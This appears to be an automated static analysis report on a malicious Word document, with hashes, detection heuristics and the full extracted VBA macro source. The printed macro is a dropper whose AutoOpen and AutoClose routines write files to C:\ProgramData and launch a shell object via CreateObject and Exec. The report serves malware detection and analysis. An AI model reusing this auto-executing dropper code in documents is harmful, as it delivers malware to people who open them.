Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3311accadba3a109…

MALICIOUS

Office (OOXML)

381.7 KB Created: 2020-08-11 10:03:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: 74427b3a93770a787108e495848653e3 SHA-1: 83e4897e7fd0eec6c718f19f199da95a92ca4b2d SHA-256: 3311accadba3a109c3506563d9025899f0c7aef4dfe804967c943372a511353c
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The script attempts to write content to a file at 'C:\ProgramData\UIYUIYUIYuiyuiYUIYYuyty', suggesting it is a dropper or downloader for a second-stage payload. The ClamAV detection 'Doc.Dropper.Generickdz-9757072-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Dropper.Generickdz-9757072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generickdz-9757072-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set HYyetwertuFGHFTrt5ertRFGXFD = CreateObject(JDSUAGDFYYUGED.Caption)
    HYyetwertuFGHFTrt5ertRFGXFD.Exec "explorer.exe " & Hopertiol.DefaultTargetFrame
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Private HYyetwertuFGHFTrt5ertRFGXFD
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    End Sub
    Sub autoclose()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5549 bytes
SHA-256: 3ec9f1cb4c658529f16f70bba92a7955e012ae38be685e03f7ed598cf6847a91
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hopertiol"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Brofaset"
Private HYyetwertuFGHFTrt5ertRFGXFD
Sub autoopen()

Open "C:\ProgramData\UIYUIYUIYuiyuiYUIYYuyty" & JDSUAGDFYYUGED.Tag For Binary As #1

Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "

Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "
Put #1, , "      Page not found       This question was voluntarily removed by its author.                  "


Close #1
   
Application.Quit SaveChanges:=False

End Sub
Sub autoclose()


Open "C:\ProgramData\JHJKGHuggUGUGYYuyggg" & JDSUAGDFYYUGED.Tag For Binary As #1




Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "
Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "

Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "
Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "
Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "
Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "

Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "
Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "
Put #1, , "                      'If you feel something is                                   'missing that should be here, contact us.                               "


Put #1, , JDSUAGDFYYUGED.GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY.Caption

Close #1
         
Set HYyetwertuFGHFTrt5ertRFGXFD = CreateObject(JDSUAGDFYYUGED.Caption)
HYyetwertuFGHFTrt5ertRFGXFD.Exec "explorer.exe " & Hopertiol.DefaultTargetFrame

End Sub



Attribute VB_Name = "JDSUAGDFYYUGED"
Attribute VB_Base = "0{60F24CAB-9E62-449A-AE7B-E2CB2ED1EA32}{07AB9651-2CE8-4D47-BF10-6ABB737ED0A2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 178176 bytes
SHA-256: 5ad912e443e4e8693d587111ee87619c75f3eb0e4140262572f0b9f2869f1a36
Detection
ClamAV: Doc.Dropper.Generickdz-9757072-0
Obfuscation or payload: unlikely